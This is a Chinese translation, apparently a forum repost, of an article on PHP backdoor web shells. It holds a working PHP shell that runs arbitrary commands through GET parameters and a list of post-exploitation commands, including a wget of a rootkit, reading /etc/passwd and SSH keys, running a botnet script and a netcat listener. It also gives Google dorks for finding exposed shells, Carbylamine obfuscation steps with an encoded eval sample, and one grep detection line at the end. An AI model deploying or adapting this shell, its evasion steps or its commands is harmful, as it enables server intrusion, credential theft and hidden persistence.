原文地址:http://resources.infosecinstitute.com/checking-out-backdoor-shells/
一些上传web shell的方法
1. 本地文件包含漏洞-攻击者可以通过文件夹遍历特性
2. 远程命令执行或命令注入-如果网站接收额外的字符串,输入的字符串作为web服务器上执行命令的参数
3. SQLi-攻击者活动web管理员的username/password后,他可以使用管理权限来访问管理面板,并且可以上传后门
4. sniff
5. 暴力破解-暴力破解FTP/SSH来获得访问
6. 跨站脚本
7. 社会工程
8. 远程文件包含
本文我们将讨论PHP后门:
下面代码运行攻击者执行*nix命令:
<?php
if(isset($_GET['shell'])) echo("<pre>".shell_exec($_GET['shell']." &")."</pre>");
if(isset($_GET['php'])) echo(eval(stripcslashes($_GET['php'])));
if(isset($_GET['echo'])) echo($_GET['echo']);
?>
保存代码为bb.php,上传到web服务器,我们需要在末尾添加?shell=来执行类似下面的命令
uname -a
cat /etc/issue
wget www.whateversite.com/rootkit.pl
cat /etc/passwd
cat /var/www/config.inc
find / -name netcat
ifconfig | grep eth0
perl botnet.pl
ls -la
ps aux | grep root
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat /proc/self/environ
find / -perm -1000 -type d 2>/dev/null
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
perl -v
python -v
ruby -v
gcc -v
nc -lvp 1337
现在,开发者在后门shell中添加了许多特性。例如r57, c99, 和 Ani-Shell后门。一些后门拥有邮箱bombers,回连,文件上传/下载器,mysql dumper,运行sql语句,web fuzzer,端口扫描等
未受保护的后门可以轻松的由Google dork找到:inurl:r57.php, intitle: MagicCoder | Version X70.01, inurl:c99.php, inurl:r00t.php, inurl:mma.php等。
一些一些后门可以被发现所有有些攻击者使用PHP编码器。有一个新的PHP编码器叫Carbylamine可以使C99和r57不会轻易被发现。Carbylamine很简单。
php carbylamine.php <backdoor file to encode> <output of the file>
例如,编码bb.php,命名为encode.php:
php carbylamine.php bb.php encoded.php
encoded.php的样品:
<?php function KJnPCP($XZK)
{
$XZK=gzinflate(base64_decode($XZK));
for($i=0;$i<strlen($XZK);$i++)
{
$XZK[$i] = chr(ord($XZK[$i])-1);
}
return $XZK;
}eval(KJnPCP("U1QEAm4gzkrXzCopSSvVVE3wcAuN0SjJTMvN1YjT0lJMS8ks0FS2LSxOs1fWBwsnpFWmpaAp1FdWVFfW0le2NQAr1LLBZmhhZiHCyLTypFzNktLirMKUktwkoDElaMqwmwHSizAEVdCG28GeGwA="));
?>
查找/删除后门
[color=blue]grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval) *(" /var/www[/color]